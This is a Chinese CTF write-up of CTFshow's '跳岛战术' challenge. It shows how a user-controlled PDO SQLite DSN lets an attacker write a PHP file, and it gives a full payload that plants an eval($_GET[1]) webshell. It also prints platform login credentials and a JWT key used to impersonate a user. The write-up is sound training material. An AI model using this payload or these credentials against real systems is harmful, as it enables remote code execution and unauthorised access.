跳转至

[CTFshow]第三章:跳岛战术

题目地址:https://ctf.show/challenges#%E8%B7%B3%E5%B2%9B%E6%88%98%E6%9C%AF-4526

这是 CTFshow 2025 元旦渗透赛的题目,从第三章开始,是因为前两章一半是非 web 专业,一半是我没熟悉,纯照着 wp 抄。因此我从第三章开始记录 wp.

前置环境准备

首先需要过一下前两章的环境。我们需要访问 https://task.ctfer.com/, 输入用户名 (hsinchug_wp1) 和密码 (Q.4Vyj8VCiedX1KYU5g05), 然后进入任务平台。我们需要通过 jwt 篡改登陆 dylan 的用户,根据爆破获得的 key (4a4f7d6e8b5e3a0c7f) , 篡改 jwt 登陆 dylan。之后就可以看到任务平台上进行本题的环境了。

题目分析

在 Download Task File 这个栏目里面,我们在之前扫描到了内网地址,我这里地址是 http://172.2.89.5。 先注意直接访问获得的 index.php

index.php
<!DOCTYPE html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Database TEST</title>
    <script>
        const DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';
    </script>
</head>

<body>
    <h1>Welcome to Database TEST</h1>
    <p>This is a test page for database connection and queries.</p>
    <form action="index.php" method="get">
        <label for="name">Enter Database username:</label>
        <input type="text" id="name" name="username" required>
        <br><br>
        <label for="password">Enter Database password:</label>
        <input type="password" id="password" name="password" required>
        <br><br>
        <label for="dsn">Enter Database DSN:</label>
        <input type="text" id="dsn" name="dsn" required>
        <br><br>
        <label for="query">Enter TEST Query:</label>
        <input type="text" id="query" name="query" required>
        <br><br>
        <input type="submit" value="Submit">
    </form>
</body>

<html>

可以看到一共有四个参数,username, password, dsn, query,通过查阅资料可以得知,这些参数是 php 中 pdo 模块用于连接数据库和执行查询所用的参数。其中 dsn 就类似于 url, 用于指定数据库的类型和位置。下面是一个 pdo 的测试示例代码:

<?php

// $dsn = "mysql:host=localhost;dbname=test";
$dsn = "sqlite:test.sqlite";
$username = "root";
$password = "123123";

$query = "SELECT * FROM users";

$pdo = new PDO($dsn, $username, $password);

// $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// 

$stmt = $pdo->query($query);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);

foreach ($result as $row) {
    echo "id: " . $row['id'] . " name: " . $row['name'] ;
}

注意到,如果这个 dsn 以 mysql 开头,指定 hostdbname,就可以连接到 mysql 数据库了。但是本题提示可以考虑 sqlite ,这就涉及到一个知识:sqlite 数据库是基于一个文件的,而且这个文件的文件名是可以自定义的。也就是说,我们可以直接写马到这个数据库,然后这个木马就会以一部分明文出现在文件里。

我们以一个自定义的 sqlite 试试看:

sqlite3 test1.php
create table php(name TEXT DEFAULT '<?php system("kcalc"); ?>');

下面是产生的 test1.php “数据库”:

然后就是执行这个 test1.php 文件产生的结果了。

所以根据这个原理,我们就可以写出我们的 payload 了。(基于官方的 payload)

%3fdsn=sqlite:shell.php%26username=aaa%26password=bbb%26query=create%20table%20"aaa"%20(name%20TEXT%20DEFAULT%20"<?php%20file_put_contents('1.php','<?php eval($_GET[1]);?>');?>");

详细分析一下,本质是这样:

username=aaa
password=bbb
dsn=sqlite:shell.php
query=create table aaa(name TEXT DEFAULT "<?php file_put_contents('1.php','<?php eval($_GET[1]);?>');?>");

它是套了两层,先创建一层可以写入一句话木马的文件 shell.php ,访问之后就会产生一个木马文件 1.php

shell.php
<?php
file_put_contents('1.php','<?php eval($_GET[1]);?>');?>
1.php
<?php eval($_GET[1]);?>

注意不要写成 POST 类型的一句话木马,因为我们这里只能使用 GET 类型的参数。


文章热度:0次阅读